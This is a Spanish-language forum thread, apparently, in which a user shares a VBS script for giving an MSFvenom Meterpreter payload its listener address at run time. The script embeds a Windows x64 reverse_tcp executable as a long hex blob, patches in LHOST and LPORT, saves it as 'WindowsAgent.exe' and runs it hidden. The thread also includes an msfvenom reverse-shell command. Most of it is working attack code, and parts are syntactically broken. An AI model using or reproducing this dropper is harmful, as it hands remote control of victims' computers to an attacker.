Carga útil de MSFvenom con opciones dinámicas

Logré encontrar una solución que funcionara para mí.

Encontré las variables para LPORT y LHOST en la vista hexadecimal del ejecutable (ver captura de pantalla).

Si alguien está interesado, escribí un pequeño script VBS que se empalma en ese código hexadecimal.

Function BuildExe(Text) 
    ' Convert the string to hex.
    Set dom = CreateObject("Microsoft.XMLDOM")
    dom.loadXML("<TtB/>")
    dom.documentElement.nodeTypedValue = Text
    dom.documentElement.dataType = "bin.hex"
    exeHex = dom.documentElement.nodeTypedValue

    ' Create the filename and filepath for the executable.
    exeFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\" & CreateObject("Scripting.FileSystemObject").GetTempName()
    CreateObject("Scripting.FileSystemObject").CreateFolder(exeFile)
    exePath = exeFile & "\" & "WindowsAgent.exe"

    ' Compile and save the executbale.
    Set exeStream = CreateObject("ADODB.Stream")
    exeStream.Type = 1
    exeStream.Open
    exeStream.Write exeHex
    exeStream.SaveToFile exePath, 2

    ' Return the executable filepath.
    BuildExe = exePath
End Function

' Initialize the script.
Log "PAYLOAD", "Payload shell_meterpreter.vbs has been launched."
Execute("lib\includes\build_exe.vbs")

' Set the listener info in hex.
LPORT = Hex("4444")

octets = Split("192.168.6.131"), ".")
For i = 0 To UBound(octets)
    octectTemp = Hex(octets(i))
    If Len(octectTemp) = 1 Then
        octectTemp = 0 & octectTemp
    End If

    If i = 0 Then
        LHOST = octectTemp
    Else
        LHOST = LHOST & octectTemp
    End If
Next

' Build and run Meterpreter.
exePath = BuildExe("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000C80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000392411DD7D457F8E7D457F8E7D457F8E5A83048E7E457F8E7D457E8E7F457F8E743DEA8E7C457F8E743DEE8E7C457F8E526963687D457F8E0000000000000000000000000000000050450000648603007D3CC64B0000000000000000F00023000B0201000030000000100000000000000040000000100000000000400100000000100000000200000400000000000000040000000000000078420000480200006C34000002000080000010000000000000100000000000000000100000000000001000000000000000000000100000000000000000000000004200006C000000000000000000000000000000000000000000000000000000704200000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000180000000000000000000000000000000000000000000000000000002E746578740000004E100000001000000012000000040000000000000000000000000000200000602E7264617461000084000000003000000002000000160000000000000000000000000000400000402E616F6C6500000078020000004000000004000000180000000000000000000000000000200000E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004883EC2849C7C14000000049C7C00030000048C7C2001000004833C9E82710000048C7C10010000048BE4110004001000000488BF8F3A4FFD04833C9E8011000005041594C4F41443A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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& LPORT & LHOST & "41544989E44C89F141BA4C772607FFD54C89EA68010100005941BA29806B00FFD56A0A415E50504D31C94D31C048FFC04889C248FFC04889C141BAEA0FDFE0FFD54889C76A1041584C89E24889F941BA99A57461FFD585C0740A49FFCE75E5E8930000004883EC104889E24D31C96A0441584889F941BA02D9C85FFFD583F8007E554883C4205E89F66A404159680010000041584889F24831C941BA58A453E5FFD54889C34989C74D31C94989F04889DA4889F941BA02D9C85FFFD583F8007D2858415759680040000041586A005A41BA0B2F0F30FFD5575941BA756E4D61FFD549FFCEE93CFFFFFF4801C34829C64885F675B441FFE7586A005949C7C2F0B5A256FFD500002842000000000000FFFFFFFF404200000030000000000000000000000000000000000000000000004E420000000000005E4200000000000000000000000000004B45524E454C33322E646C6C000058045669727475616C416C6C6F63000005014578697450726F63657373000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
WScript.CreateObject("WScript.Shell").Run "cmd.exe /C start /B cmd /C " & exePath, 0, True

msfvenom -p windows/x64/meterpreter/reverse_tcp **LHOST=192.168.x.x** LPORT=4444 -f -exe

Estás utilizando msfvenom aquí para generar código para obtener un shell inverso en el objetivo, no le estás pasando la ip de la máquina atacante una vez que se genera o, en tu caso, se compila como un ejecutable si eso tiene sentido.